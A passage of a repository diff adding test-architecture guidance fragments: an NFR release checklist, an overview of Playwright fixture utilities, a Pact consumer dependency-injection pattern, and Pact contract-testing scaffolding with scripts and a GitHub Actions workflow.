- ❌ FAIL: Absent tests (<60%), tangled implementations (>10% duplication), or no observability
---
## NFR Assessment Checklist
Before release gate:
- [ ] **Security** (Playwright E2E + Security Tools):
- [ ] Auth/authz tests green (unauthenticated redirect, RBAC enforced)
- [ ] Secrets never logged or exposed in errors
- [ ] OWASP Top 10 validated (SQL injection blocked, XSS sanitized)
- [ ] Security audit completed (vulnerability scan, penetration test if applicable)
- [ ] **Performance** (k6 Load Testing):
- [ ] SLO/SLA targets met with k6 evidence (p95 <500ms, error rate <1%)
- [ ] Load testing completed (expected load)
- [ ] Stress testing completed (breaking point identified)
- [ ] Spike testing completed (handles traffic spikes)
- [ ] Endurance testing completed (no memory leaks under sustained load)
- [ ] **Reliability** (Playwright E2E + API Tests):
- [ ] Error handling graceful (500 user-friendly message + retry)
- [ ] Retries implemented (3 attempts on transient failures)
- [ ] Health checks monitored (/api/health endpoint)
- [ ] Circuit breaker tested (opens after failure threshold)
- [ ] Offline handling validated (network disconnection graceful)
- [ ] **Maintainability** (CI Tools):
- [ ] Test coverage 80% (from CI coverage report)
- [ ] Code duplication <5% (from jscpd CI job)
- [ ] No critical/high vulnerabilities (from npm audit CI job)
- [ ] Structured logging validated (Playwright validates telemetry headers)
- [ ] Error tracking configured (Sentry/monitoring integration validated)
- [ ] **Ambiguous requirements**: Default to CONCERNS (force team to clarify thresholds and evidence)
- [ ] **NFR criteria documented**: Measurable thresholds defined (not subjective "fast enough")
- [ ] **Automated validation**: NFR tests run in CI pipeline (not manual checklists)
- [ ] **Tool selection**: Right tool for each NFR (k6 for performance, Playwright for security/reliability E2E, CI tools for maintainability)
## NFR Gate Decision Matrix
| Category | PASS Criteria | CONCERNS Criteria | FAIL Criteria |
| ------------------- | -------------------------------------------- | -------------------------------------------- | ---------------------------------------------- |
| **Security** | Auth/authz, secret handling, OWASP verified | Minor gaps with clear owners | Critical exposure or missing controls |
| **Performance** | Metrics meet SLO/SLA with profiling evidence | Trending toward limits or missing baselines | SLO/SLA breached or resource leaks detected |
| **Reliability** | Error handling, retries, health checks OK | Partial coverage or missing telemetry | No recovery path or unresolved crash scenarios |
| **Maintainability** | Clean code, tests, docs shipped together | Duplication, low coverage, unclear ownership | Absent tests, tangled code, no observability |
**Default**: If targets or evidence are undefined **CONCERNS** (force team to clarify before sign-off)
## Integration Points
- **Used in workflows**: `*nfr-assess` (automated NFR validation), `*trace` (gate decision Phase 2), `*test-design` (NFR risk assessment via Utility Tree)
- **Related fragments**: `risk-governance.md` (NFR risk scoring), `probability-impact.md` (NFR impact assessment), `test-quality.md` (maintainability standards), `test-levels-framework.md` (system-level testing for NFRs)
- **Tools by NFR Category**:
- **Security**: Playwright (E2E auth/authz), OWASP ZAP, Burp Suite, npm audit, Snyk
- **Performance**: k6 (load/stress/spike/endurance), Lighthouse (Core Web Vitals), Artillery
- **Reliability**: Playwright (E2E error handling), API tests (retries, health checks), Chaos Engineering tools
- **Maintainability**: GitHub Actions (coverage, duplication, audit), jscpd, Playwright (observability validation)
_Source: Test Architect course (NFR testing approaches, Utility Tree, Quality Scenarios), ISO/IEC 25010 Software Quality Characteristics, OWASP Top 10, k6 documentation, SRE practices_

View File

@@ -0,0 +1,286 @@
# Playwright Utils Overview
## Principle
Use production-ready, fixture-based utilities from `@seontechnologies/playwright-utils` for common Playwright testing patterns. Build test helpers as pure functions first, then wrap in framework-specific fixtures for composability and reuse. **Works equally well for pure API testing (no browser) and UI testing.**
## Rationale
Writing Playwright utilities from scratch for every project leads to:
- Duplicated code across test suites
- Inconsistent patterns and quality
- Maintenance burden when Playwright APIs change
- Missing advanced features (schema validation, HAR recording, auth persistence)
`@seontechnologies/playwright-utils` provides:
- **Production-tested**: Used in enterprise production environments
- **Functional-first design**: Core logic as pure functions, fixtures for convenience
- **Composable fixtures**: Use `mergeTests` to combine utilities
- **TypeScript support**: Full type safety with generic types
- **Comprehensive coverage**: API requests, auth, network, logging, file handling, burn-in
- **Backend-first mentality**: Most utilities work without a browser - pure API/service testing is a first-class use case
## Installation
```bash
npm install -D @seontechnologies/playwright-utils
```
**Peer Dependencies:**
- `@playwright/test` >= 1.54.1 (required)
- `ajv` >= 8.0.0 (optional - for JSON Schema validation)
- `zod` >= 3.0.0 (optional - for Zod schema validation)
## Available Utilities
### Core Testing Utilities
| Utility | Purpose | Test Context |
| -------------------------- | ----------------------------------------------------------------------------- | ------------------ |
| **api-request** | Typed HTTP client with schema validation, retry, and operation-based overload | **API/Backend** |
| **recurse** | Polling for async operations, background jobs | **API/Backend** |
| **auth-session** | Token persistence, multi-user, service-to-service | **API/Backend/UI** |
| **log** | Playwright report-integrated logging | **API/Backend/UI** |
| **file-utils** | CSV/XLSX/PDF/ZIP reading & validation | **API/Backend/UI** |
| **burn-in** | Smart test selection with git diff | **CI/CD** |
| **network-recorder** | HAR record/playback for offline testing | UI only |
| **intercept-network-call** | Network spy/stub with auto JSON parsing | UI only |
| **network-error-monitor** | Automatic HTTP 4xx/5xx detection | UI only |
**Note**: 6 of 9 utilities work without a browser. Only 3 are UI-specific (network-recorder, intercept-network-call, network-error-monitor).
## Design Patterns
### Pattern 1: Functional Core, Fixture Shell
**Context**: All utilities follow the same architectural pattern - pure function as core, fixture as wrapper.
**Implementation**:
```typescript
// Direct import (pass Playwright context explicitly)
import { apiRequest } from '@seontechnologies/playwright-utils';
test('direct usage', async ({ request }) => {
const { status, body } = await apiRequest({
request, // Must pass request context
method: 'GET',
path: '/api/users',
});
});
// Fixture import (context injected automatically)
import { test } from '@seontechnologies/playwright-utils/fixtures';
test('fixture usage', async ({ apiRequest }) => {
const { status, body } = await apiRequest({
// No need to pass request context
method: 'GET',
path: '/api/users',
});
});
```
**Key Points**:
- Pure functions testable without Playwright running
- Fixtures inject framework dependencies automatically
- Choose direct import (more control) or fixture (convenience)
### Pattern 2: Subpath Imports for Tree-Shaking
**Context**: Import only what you need to keep bundle sizes small.
**Implementation**:
```typescript
// Import specific utility
import { apiRequest } from '@seontechnologies/playwright-utils/api-request';
// Import specific fixture
import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
// Import everything (use sparingly)
import { apiRequest, recurse, log } from '@seontechnologies/playwright-utils';
```
**Key Points**:
- Subpath imports enable tree-shaking
- Keep bundle sizes minimal
- Import from specific paths for production builds
### Pattern 3: Fixture Composition with mergeTests
**Context**: Combine multiple playwright-utils fixtures with your own custom fixtures.
**Implementation**:
```typescript
// playwright/support/merged-fixtures.ts
import { mergeTests } from '@playwright/test';
import { test as apiRequestFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
import { test as recurseFixture } from '@seontechnologies/playwright-utils/recurse/fixtures';
import { test as logFixture } from '@seontechnologies/playwright-utils/log/fixtures';
// Merge all fixtures into one test object
export const test = mergeTests(apiRequestFixture, authFixture, recurseFixture, logFixture);
export { expect } from '@playwright/test';
```
```typescript
// In your tests
import { test, expect } from '../support/merged-fixtures';
test('all utilities available', async ({ apiRequest, authToken, recurse, log }) => {
await log.step('Making authenticated API request');
const { body } = await apiRequest({
method: 'GET',
path: '/api/protected',
headers: { Authorization: `Bearer ${authToken}` },
});
await recurse(
() => apiRequest({ method: 'GET', path: `/status/${body.id}` }),
(res) => res.body.ready === true,
);
});
```
**Key Points**:
- `mergeTests` combines multiple fixtures without conflicts
- Create one merged-fixtures.ts file per project
- Import test object from your merged fixtures in all tests
- All utilities available in single test signature
## Integration with Existing Tests
### Gradual Adoption Strategy
**1. Start with logging** (zero breaking changes):
```typescript
import { log } from '@seontechnologies/playwright-utils';
test('existing test', async ({ page }) => {
await log.step('Navigate to page'); // Just add logging
await page.goto('/dashboard');
// Rest of test unchanged
});
```
**2. Add API utilities** (for API tests):
```typescript
import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
test('API test', async ({ apiRequest }) => {
const { status, body } = await apiRequest({
method: 'GET',
path: '/api/users',
});
expect(status).toBe(200);
});
```
**3. Expand to network utilities** (for UI tests):
```typescript
import { test } from '@seontechnologies/playwright-utils/fixtures';
test('UI with network control', async ({ page, interceptNetworkCall }) => {
const usersCall = interceptNetworkCall({
url: '**/api/users',
});
await page.goto('/dashboard');
const { responseJson } = await usersCall;
expect(responseJson).toHaveLength(10);
});
```
**4. Full integration** (merged fixtures):
Create merged-fixtures.ts and use across all tests.
## Related Fragments
- `api-request.md` - HTTP client with schema validation
- `network-recorder.md` - HAR-based offline testing
- `auth-session.md` - Token management
- `intercept-network-call.md` - Network interception
- `recurse.md` - Polling patterns
- `log.md` - Logging utility
- `file-utils.md` - File operations
- `fixtures-composition.md` - Advanced mergeTests patterns
## Anti-Patterns
**❌ Don't mix direct and fixture imports in same test:**
```typescript
import { apiRequest } from '@seontechnologies/playwright-utils';
import { test } from '@seontechnologies/playwright-utils/auth-session/fixtures';
test('bad', async ({ request, authToken }) => {
// Confusing - mixing direct (needs request) and fixture (has authToken)
await apiRequest({ request, method: 'GET', path: '/api/users' });
});
```
**✅ Use consistent import style:**
```typescript
import { test } from '../support/merged-fixtures';
test('good', async ({ apiRequest, authToken }) => {
// Clean - all from fixtures
await apiRequest({ method: 'GET', path: '/api/users' });
});
```
**❌ Don't import everything when you need one utility:**
```typescript
import * as utils from '@seontechnologies/playwright-utils'; // Large bundle
```
**✅ Use subpath imports:**
```typescript
import { apiRequest } from '@seontechnologies/playwright-utils/api-request'; // Small bundle
```
## Reference Implementation
The official `@seontechnologies/playwright-utils` repository provides working examples of all patterns described in these fragments.
**Repository:** <https://github.com/seontechnologies/playwright-utils>
**Key resources:**
- **Test examples:** `playwright/tests` - All utilities in action
- **Framework setup:** `playwright.config.ts`, `playwright/support/merged-fixtures.ts`
- **CI patterns:** `.github/workflows/` - GitHub Actions with sharding, parallelization
**Quick start:**
```bash
git clone https://github.com/seontechnologies/playwright-utils.git
cd playwright-utils
nvm use
npm install
npm run test:pw-ui # Explore tests with Playwright UI
npm run test:pw
```
All patterns in TEA fragments are production-tested in this repository.

View File

@@ -0,0 +1,310 @@
# Pact Consumer DI Pattern
## Principle
Inject the Pact mock server URL into consumer code via an optional `baseUrl` field on the API context type instead of using raw `fetch()` inside `executeTest()`. This ensures contract tests exercise the real consumer HTTP client — including retry logic, header assembly, timeout configuration, error handling, and metrics — rather than testing Pact itself.
The base URL is typically a module-level constant evaluated at import time (`export const API_BASE_URL = env.API_BASE_URL`), but `mockServer.url` is only available at runtime inside `executeTest()`. Dependency injection solves this timing mismatch cleanly: add one optional field to the context type, use nullish coalescing in the HTTP client factory, and inject the mock server URL in tests.
## Rationale
### The Problem
Raw `fetch()` in `executeTest()` only proves that Pact returns what you told it to return. The real consumer HTTP client has retry logic, header assembly, timeout configuration, error handling, and metrics collection — none of which are exercised when you hand-craft fetch calls. Contracts written with raw fetch are hand-maintained guesses about what the consumer actually sends.
### Why NOT vi.mock
`vi.mock` with ESM (`module: Node16`) has hoisting quirks that make it unreliable for overriding module-level constants. A getter-based mock is non-obvious and fragile — it works until the next bundler or TypeScript config change breaks it. DI is a standard pattern that requires zero mock magic and works across all module systems.
### Comparison
| Approach | Production code change | Mock complexity | Exercises real client | Contract accuracy |
| ------------ | ---------------------- | -------------------------- | --------------------- | --------------------------- |
| Raw fetch | None | None | No | Low — hand-crafted requests |
| vi.mock | None | High — ESM hoisting issues | Yes | Medium — fragile setup |
| DI (baseUrl) | 2 lines | None | Yes | High — real requests |
## Pattern Examples
### Example 1: Production Code Change (2 Lines Total)
**Context**: Add an optional `baseUrl` field to the API context type and use nullish coalescing in the HTTP client factory. This is the entire production code change required.
**Implementation**:
```typescript
// src/types.ts
export type ApiContext = {
jwtToken: string;
customerId: number;
adminUserId?: number;
correlationId?: string;
baseUrl?: string; // Override for testing (Pact mock server)
};
```
```typescript
// src/http-client.ts
import axios from 'axios';
import type { AxiosInstance } from 'axios';
import type { ApiContext } from './types.js';
import { API_BASE_URL, REQUEST_TIMEOUT } from './constants.js';
function createAxiosInstanceWithContext(context: ApiContext): AxiosInstance {
return axios.create({
baseURL: context.baseUrl ?? API_BASE_URL,
timeout: REQUEST_TIMEOUT,
headers: {
'Content-Type': 'application/json',
Accept: 'application/json',
Authorization: `Bearer ${context.jwtToken}`,
...(context.correlationId && { 'X-Request-Id': context.correlationId }),
},
});
}
```
**Key Points**:
- `baseUrl` is optional — existing production code never sets it
- `??` (nullish coalescing) falls back to `API_BASE_URL` when `baseUrl` is undefined
- Zero production behavior change — only test code provides the override
- Two lines added total: one type field, one `??` fallback
### Example 2: Shared Test Context Helper
**Context**: Create a reusable helper that builds an `ApiContext` with the mock server URL injected. One helper shared across all consumer test files.
**Implementation**:
```typescript
// pact/support/test-context.ts
import type { ApiContext } from '../../src/types.js';
export function createTestContext(mockServerUrl: string): ApiContext {
return {
jwtToken: 'test-jwt-token',
customerId: 1,
baseUrl: `${mockServerUrl}/api/v2`,
};
}
```
**Key Points**:
- `baseUrl` should include the API version prefix when consumer methods use versionless relative paths (e.g., `/transactions`) or endpoint paths are defined without the version segment
- Single helper shared across all consumer test files — no repetition
- Returns a plain object — follows pure-function-first pattern from `fixture-architecture.md`
- Add fields as needed (e.g., `adminUserId`, `correlationId`) for specific test scenarios
### Example 3: Before/After for a Simple Test
**Context**: Migrating an existing raw-fetch test to call real consumer code.
**Before** (raw fetch — tests Pact mock, not consumer code):
```typescript
.executeTest(async (mockServer: V3MockServer) => {
const response = await fetch(
`${mockServer.url}/api/v2/common/fields?ruleType=!&ignoreFeatureFlags=true`,
{
headers: {
Authorization: "Bearer test-jwt-token",
"Content-Type": "application/json",
},
},
);
expect(response.status).toBe(200);
const body = (await response.json()) as Record<string, unknown>[];
expect(body).toEqual(expect.arrayContaining([...]));
});
```
**After** (real consumer code):
```typescript
.executeTest(async (mockServer: V3MockServer) => {
const api = createApiClient(createTestContext(mockServer.url));
const result = await api.getFilterFields();
expect(result).toEqual(
expect.arrayContaining([
expect.objectContaining({
id: expect.any(String),
readable: expect.any(String),
filterType: expect.any(String),
}),
]),
);
});
```
**Key Points**:
- No HTTP status assertion — the consumer method throws on non-2xx, so reaching the expect proves success
- Assertions validate the return value shape, not transport details
- The real client's headers, timeout, and retry logic are exercised transparently
- Less code, more coverage — the test is shorter and tests more
### Example 4: Contract Accuracy Fix
**Context**: Using real consumer code revealed a contract mismatch that raw fetch silently hid. This is the strongest argument for the pattern.
The real `getCustomerActivityCount(transactionId, dateRange)` sends:
```json
{ "transactionId": "txn-123", "filters": { "dateRange": "last_30_days" } }
```
The old test with raw fetch sent:
```json
{ "transactionId": "txn-123", "filters": {} }
```
This was wrong but passed because raw fetch let you hand-craft any body. When switched to real code, Pact immediately returned a 500 Request-Mismatch because the body shape did not match the interaction.
**Implementation** — fix the contract to match reality:
```typescript
// WRONG — old contract with empty filters
.withRequest({
method: "POST",
path: "/api/v2/customers/activity/count",
body: { transactionId: "txn-123", filters: {} },
})
// CORRECT — matches what real code actually sends
.withRequest({
method: "POST",
path: "/api/v2/customers/activity/count",
body: {
transactionId: "txn-123",
filters: { dateRange: "last_30_days" },
},
})
```
**Key Points**:
- Contracts become discoverable truth, not hand-maintained guesses
- Raw fetch silently hid the mismatch — the mock accepted whatever you sent
- The 500 Request-Mismatch from Pact was immediate and clear
- Fix the contract when real code reveals a mismatch — that mismatch is a bug the old tests were hiding
### Example 5: Parallel-Endpoint Methods
**Context**: Facade methods that call multiple endpoints via `Promise.all` (e.g., `getTransactionStats` calls count + score + amount in parallel). Keep separate `it` blocks per endpoint and use the lower-level request function directly.
**Implementation**:
```typescript
import { describe, it, expect } from 'vitest';
import type { V3MockServer } from '@pact-foundation/pact';
import { makeApiRequestWithContext } from '../../src/http-client.js';
import type { CountStatistics } from '../../src/types.js';
import { createTestContext } from '../support/test-context.js';
describe('Transaction Statistics - Count Endpoint', () => {
// ... provider setup ...
it('should return count statistics', async () => {
const statsRequest = { transactionId: 'txn-123', period: 'daily' };
await provider
.given('transaction statistics exist')
.uponReceiving('a request for transaction count statistics')
.withRequest({
method: 'POST',
path: '/api/v2/transactions/statistics/count',
body: statsRequest,
})
.willRespondWith({
status: 200,
body: { count: 42, period: 'daily' },
})
.executeTest(async (mockServer: V3MockServer) => {
const context = createTestContext(mockServer.url);
const result = await makeApiRequestWithContext<CountStatistics>(context, '/transactions/statistics/count', 'POST', statsRequest);
expect(result.count).toBeDefined();
});
});
});
```
**Key Points**:
- Each Pact interaction verifies one endpoint contract
- The `Promise.all` orchestration is internal logic, not a contract concern
- Use `makeApiRequestWithContext` (lower-level) when the facade method bundles multiple calls
- Separate `it` blocks keep contracts independent and debuggable
## Anti-Patterns
### Wrong: Raw fetch — tests Pact mock, not consumer code
```typescript
// BAD: Raw fetch duplicates headers and URL assembly
const response = await fetch(`${mockServer.url}/api/v2/transactions`, {
method: 'GET',
headers: {
Authorization: 'Bearer test-jwt-token',
'Content-Type': 'application/json',
},
});
expect(response.status).toBe(200);
```
### Wrong: vi.mock with getter — fragile ESM hoisting
```typescript
// BAD: ESM hoisting makes this non-obvious and brittle
vi.mock('../../src/constants.js', async (importOriginal) => ({
...(await importOriginal()),
get API_BASE_URL() {
return mockBaseUrl;
},
}));
```
### Wrong: Asserting HTTP status instead of return value
```typescript
// BAD: Status 200 tells you nothing about the consumer's parsing logic
expect(response.status).toBe(200);
```
### Right: Call real consumer code, assert return values
```typescript
// GOOD: Exercises real client, validates parsed return value
const api = createApiClient(createTestContext(mockServer.url));
const result = await api.searchTransactions(request);
expect(result.transactions).toBeDefined();
```
## Rules
1. `baseUrl` field MUST be optional with fallback via `??` (nullish coalescing)
2. Zero production behavior change — existing code never sets `baseUrl`
3. Assertions validate return values from consumer methods, not HTTP status codes
4. For parallel-endpoint facade methods, keep separate `it` blocks per endpoint
5. Include the API version prefix in `baseUrl` when endpoint paths/consumer methods are versionless (for example, methods call `/transactions` instead of `/api/v2/transactions`)
6. Create a single shared test context helper — no repetition across test files
7. If real code reveals a contract mismatch, fix the contract — that mismatch is a bug the old tests were hiding
## Integration Points
- `contract-testing.md` — Foundational Pact.js patterns and provider verification
- `pactjs-utils-consumer-helpers.md``createProviderState()`, `setJsonContent()`, and `setJsonBody()` helpers used alongside this pattern
- `pactjs-utils-provider-verifier.md` — Provider-side verification configuration
- `fixture-architecture.md` — Composable fixture patterns (`createTestContext` follows pure-function-first)
- `api-testing-foundations.md` — API testing best practices
Used in workflows:
- `automate` — Consumer contract test generation
- `test-review` — Contract test quality checks
## Source
Pattern derived from my-consumer-app Pact consumer test refactor (March 2026). Implements dependency injection for testability as described in Pact.js best practices.

View File

@@ -0,0 +1,635 @@
# Pact Consumer CDC — Framework Setup
## Principle
When scaffolding a Pact.js consumer contract testing framework, align every artifact — directory layout, vitest config, package.json scripts, shell scripts, CI workflow, and test files — with the canonical `@seontechnologies/pactjs-utils` conventions. Consistency across repositories eliminates onboarding friction and ensures CI pipelines are copy-paste portable.
## Rationale
The TEA framework workflow generates scaffolding for consumer-driven contract (CDC) testing. Without opinionated, battle-tested conventions, each project invents its own structure — different script names, different env var patterns, different CI step ordering — making cross-repo maintenance expensive. This fragment codifies the production-proven patterns from the pactjs-utils reference implementation so that every new project starts correctly.
## Pattern Examples
### Example 1: Directory Structure & File Naming
**Context**: Consumer contract test project layout using pactjs-utils conventions.
**Implementation**:
```
tests/contract/
├── consumer/
│ ├── get-filter-fields.pacttest.ts # Consumer test (one per endpoint group)
│ ├── filter-transactions.pacttest.ts
│ └── get-transaction-stats.pacttest.ts
└── support/
├── pact-config.ts # PactV4 factory (consumer/provider names, output dir)
├── provider-states.ts # Provider state factory functions
└── consumer-helpers.ts # Local shim (until pactjs-utils is published)
scripts/
├── env-setup.sh # Shared env loader (sourced by all broker scripts)
├── publish-pact.sh # Publish pact files to broker
├── can-i-deploy.sh # Deployment safety check
└── record-deployment.sh # Record deployment after merge
.github/
├── actions/
│ └── detect-breaking-change/
│ └── action.yml # PR checkbox-driven breaking change detection
└── workflows/
└── contract-test-consumer.yml # Consumer CDC CI workflow
```
**Key Points**:
- Consumer tests use `.pacttest.ts` extension (not `.pact.spec.ts` or `.contract.ts`)
- Support files live in `tests/contract/support/`, not mixed with consumer tests
- Shell scripts live in `scripts/` at project root, not nested inside test directories
- CI workflow named `contract-test-consumer.yml` (not `pact-consumer.yml` or other variants)
---
### Example 2: Vitest Configuration for Pact
**Context**: Minimal vitest config dedicated to contract tests — do NOT copy settings from the project's main `vitest.config.ts`.
**Implementation**:
```typescript
// vitest.config.pact.ts
import { defineConfig } from 'vitest/config';
export default defineConfig({
test: {
environment: 'node',
include: ['tests/contract/**/*.pacttest.ts'],
testTimeout: 30000,
},
});
```
**Key Points**:
- Do NOT add `pool`, `poolOptions`, `setupFiles`, `coverage`, or other settings from the unit test config
- Keep it minimal — Pact tests run in Node environment with extended timeout
- 30 second timeout accommodates Pact mock server startup and interaction verification
- Use a dedicated config file (`vitest.config.pact.ts`), not the main vitest config
---
### Example 3: Package.json Script Naming
**Context**: Colon-separated naming matching pactjs-utils exactly. Scripts source `env-setup.sh` inline.
**Implementation**:
```json
{
"scripts": {
"test:pact:consumer": "vitest run --config vitest.config.pact.ts",
"publish:pact": ". ./scripts/env-setup.sh && ./scripts/publish-pact.sh",
"can:i:deploy:consumer": ". ./scripts/env-setup.sh && PACTICIPANT=<service-name> ./scripts/can-i-deploy.sh",
"record:consumer:deployment": ". ./scripts/env-setup.sh && PACTICIPANT=<service-name> ./scripts/record-deployment.sh"
}
}
```
Replace `<service-name>` with the consumer's pacticipant name (e.g., `my-frontend-app`).
**Key Points**:
- Use colon-separated naming: `test:pact:consumer`, NOT `test:contract` or `test:contract:consumer`
- Broker scripts source `env-setup.sh` inline in package.json (`. ./scripts/env-setup.sh && ...`)
- `PACTICIPANT` is set per-script invocation, not globally
- Do NOT use `npx pact-broker` — use `pact-broker` directly (installed as a dependency)
---
### Example 4: Shell Scripts
**Context**: Reusable bash scripts aligned with pactjs-utils conventions.
#### `scripts/env-setup.sh` — Shared Environment Loader
```bash
#!/bin/bash
# -e: exit on error -u: error on undefined vars (catches typos/missing env vars in CI)
set -eu
if [ -f .env ]; then
set -a
source .env
set +a
fi
export GITHUB_SHA="${GITHUB_SHA:-$(git rev-parse --short HEAD)}"
export GITHUB_BRANCH="${GITHUB_BRANCH:-$(git rev-parse --abbrev-ref HEAD)}"
```
#### `scripts/publish-pact.sh` — Publish Pacts to Broker
```bash
#!/bin/bash
# Publish generated pact files to PactFlow/Pact Broker
#
# Requires: PACT_BROKER_BASE_URL, PACT_BROKER_TOKEN, GITHUB_SHA, GITHUB_BRANCH
# -e: exit on error -u: error on undefined vars -o pipefail: fail if any pipe segment fails
set -euo pipefail
. ./scripts/env-setup.sh
PACT_DIR="./pacts"
pact-broker publish "$PACT_DIR" \
--consumer-app-version="$GITHUB_SHA" \
--branch="$GITHUB_BRANCH" \
--broker-base-url="$PACT_BROKER_BASE_URL" \
--broker-token="$PACT_BROKER_TOKEN"
```
#### `scripts/can-i-deploy.sh` — Deployment Safety Check
```bash
#!/bin/bash
# Check if a pacticipant version can be safely deployed
#
# Requires: PACTICIPANT (set by caller), PACT_BROKER_BASE_URL, PACT_BROKER_TOKEN, GITHUB_SHA
# -e: exit on error -u: error on undefined vars -o pipefail: fail if any pipe segment fails
set -euo pipefail
. ./scripts/env-setup.sh
PACTICIPANT="${PACTICIPANT:?PACTICIPANT env var is required}"
ENVIRONMENT="${ENVIRONMENT:-dev}"
pact-broker can-i-deploy \
--pacticipant "$PACTICIPANT" \
--version="$GITHUB_SHA" \
--to-environment "$ENVIRONMENT" \
--retry-while-unknown=10 \
--retry-interval=30
```
#### `scripts/record-deployment.sh` — Record Deployment
```bash
#!/bin/bash
# Record a deployment to an environment in Pact Broker
# Only records on main/master branch (skips feature branches)
#
# Requires: PACTICIPANT, PACT_BROKER_BASE_URL, PACT_BROKER_TOKEN, GITHUB_SHA, GITHUB_BRANCH
# -e: exit on error -u: error on undefined vars -o pipefail: fail if any pipe segment fails
set -euo pipefail
. ./scripts/env-setup.sh
PACTICIPANT="${PACTICIPANT:?PACTICIPANT env var is required}"
if [ "$GITHUB_BRANCH" = "main" ] || [ "$GITHUB_BRANCH" = "master" ]; then
pact-broker record-deployment \
--pacticipant "$PACTICIPANT" \
--version "$GITHUB_SHA" \
--environment "${npm_config_env:-dev}"
else
echo "Skipping record-deployment: not on main branch (current: $GITHUB_BRANCH)"
fi
```
**Key Points**:
- `env-setup.sh` uses `set -eu` (no pipefail — it only sources `.env`, no pipes); broker scripts use `set -euo pipefail`
- Use `pact-broker` directly, NOT `npx pact-broker`
- Use `PACTICIPANT` env var (required via `${PACTICIPANT:?...}`), not hardcoded service names
- `can-i-deploy` includes `--retry-while-unknown=10 --retry-interval=30` (waits for provider verification)
- `record-deployment` has branch guard (only records on main/master)
- Do NOT invent custom env vars like `PACT_CONSUMER_VERSION` or `PACT_BREAKING_CHANGE` in scripts — those are handled by `env-setup.sh` and the CI detect-breaking-change action respectively
---
### Example 5: CI Workflow (`contract-test-consumer.yml`)
**Context**: GitHub Actions workflow for consumer CDC, matching pactjs-utils structure exactly.
**Implementation**:
```yaml
name: Contract Test - Consumer
on:
pull_request:
types: [opened, synchronize, reopened, edited]
push:
branches: [main]
env:
PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
GITHUB_SHA: ${{ github.sha }}
GITHUB_BRANCH: ${{ github.head_ref || github.ref_name }}
concurrency:
group: ${{ github.workflow }}-${{ github.head_ref || github.ref }}
cancel-in-progress: true
jobs:
consumer-contract-test:
if: github.actor != 'dependabot[bot]'
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v6
- uses: actions/setup-node@v6
with:
node-version-file: '.nvmrc'
cache: 'npm'
- name: Detect Pact breaking change
uses: ./.github/actions/detect-breaking-change
- name: Install dependencies
run: npm ci
# (1) Generate pact files
- name: Run consumer contract tests
run: npm run test:pact:consumer
# (2) Publish pacts to broker
- name: Publish pacts to PactFlow
run: npm run publish:pact
# After publish, PactFlow fires a webhook that triggers
# the provider's contract-test-provider.yml workflow.
# can-i-deploy retries while waiting for provider verification.
# (4) Check deployment safety (main only — on PRs, local verification is the gate)
- name: Can I deploy consumer? (main only)
if: github.ref == 'refs/heads/main' && env.PACT_BREAKING_CHANGE != 'true'
run: npm run can:i:deploy:consumer
# (5) Record deployment (main only)
- name: Record consumer deployment (main only)
if: github.ref == 'refs/heads/main'
run: npm run record:consumer:deployment --env=dev
```
**Key Points**:
- **Workflow-level `env` block** for broker secrets and git vars — not per-step
- **`detect-breaking-change` step** runs before install to set `PACT_BREAKING_CHANGE` env var
- **Step numbering skips (3)** — step 3 is the webhook-triggered provider verification (happens externally)
- **can-i-deploy condition**: `github.ref == 'refs/heads/main' && env.PACT_BREAKING_CHANGE != 'true'`
- **Comment on (4)**: "on PRs, local verification is the gate"
- **No upload-artifact step** — the broker is the source of truth for pact files
- **`dependabot[bot]` skip** on the job (contract tests don't run for dependency updates)
- **PR types include `edited`** — needed for breaking change checkbox detection in PR body
- **`GITHUB_BRANCH`** uses `${{ github.head_ref || github.ref_name }}``head_ref` for PRs, `ref_name` for pushes
---
### Example 6: Detect Breaking Change Composite Action
**Context**: GitHub composite action that reads a `[x] Pact breaking change` checkbox from the PR body.
**Implementation**:
Create `.github/actions/detect-breaking-change/action.yml`:
```yaml
name: 'Detect Pact Breaking Change'
description: 'Reads the PR template checkbox to determine if this change is a Pact breaking change. Sets PACT_BREAKING_CHANGE env var.'
outputs:
is_breaking_change:
description: 'Whether the change is a breaking change (true/false)'
value: ${{ steps.result.outputs.is_breaking_change }}
runs:
using: 'composite'
steps:
# PR event path: read checkbox directly from current PR body.
- name: Set PACT_BREAKING_CHANGE from PR description (PR only)
if: github.event_name == 'pull_request'
uses: actions/github-script@v7
with:
script: |
const prBody = context.payload.pull_request.body || '';
const breakingChangePattern = /\[\s*[xX]\s*\]\s*Pact breaking change/i;
const isBreakingChange = breakingChangePattern.test(prBody);
core.exportVariable('PACT_BREAKING_CHANGE', isBreakingChange ? 'true' : 'false');
console.log(`PACT_BREAKING_CHANGE=${isBreakingChange ? 'true' : 'false'} (from PR description checkbox).`);
# Push-to-main path: resolve the merged PR and read the same checkbox.
- name: Set PACT_BREAKING_CHANGE from merged PR (push to main)
if: github.event_name == 'push' && github.ref == 'refs/heads/main'
uses: actions/github-script@v7
with:
script: |
const { data: prs } = await github.rest.repos.listPullRequestsAssociatedWithCommit({
owner: context.repo.owner,
repo: context.repo.repo,
commit_sha: context.sha,
});
const merged = prs.find(pr => pr.merged_at);
const mergedBody = merged?.body || '';
const breakingChangePattern = /\[\s*[xX]\s*\]\s*Pact breaking change/i;
const isBreakingChange = breakingChangePattern.test(mergedBody);
core.exportVariable('PACT_BREAKING_CHANGE', isBreakingChange ? 'true' : 'false');
console.log(`PACT_BREAKING_CHANGE=${isBreakingChange ? 'true' : 'false'} (from merged PR lookup).`);
- name: Export result
id: result
shell: bash
run: echo "is_breaking_change=${PACT_BREAKING_CHANGE:-false}" >> "$GITHUB_OUTPUT"
```
**Key Points**:
- Two separate conditional steps (better CI log readability than single if/else)
- PR path: reads checkbox directly from PR body
- Push-to-main path: resolves merged PR via GitHub API, reads same checkbox
- Exports `PACT_BREAKING_CHANGE` env var for downstream steps
- `outputs.is_breaking_change` available for consuming workflows
- Uses a case-insensitive checkbox regex (`/\[\s*[xX]\s*\]\s*Pact breaking change/i`) to detect checked states robustly
---
### Example 7: Consumer Test Using PactV4 Builder
